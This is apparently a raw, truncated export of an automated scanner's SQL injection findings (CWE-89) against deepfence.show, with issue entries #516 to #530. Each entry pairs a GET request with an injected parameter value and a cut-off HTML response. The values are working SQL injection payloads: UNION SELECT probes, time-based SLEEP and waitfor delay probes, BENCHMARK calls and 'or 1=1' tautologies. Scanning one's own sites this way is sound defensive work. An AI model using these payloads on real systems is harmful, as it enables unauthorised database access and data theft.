__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #516
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #517
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ";waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #518
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAnD SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #519
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #520
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 1083=1083 AND ('1427=1427
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #521
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioHAVING 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #522
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io RANDOMBLOB(1000000000/2)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #523
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #524
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@ UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(deepfence.io 1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #525
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #526
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin" or "1"="1"#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #527
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #528
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 27--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #529Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #530
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
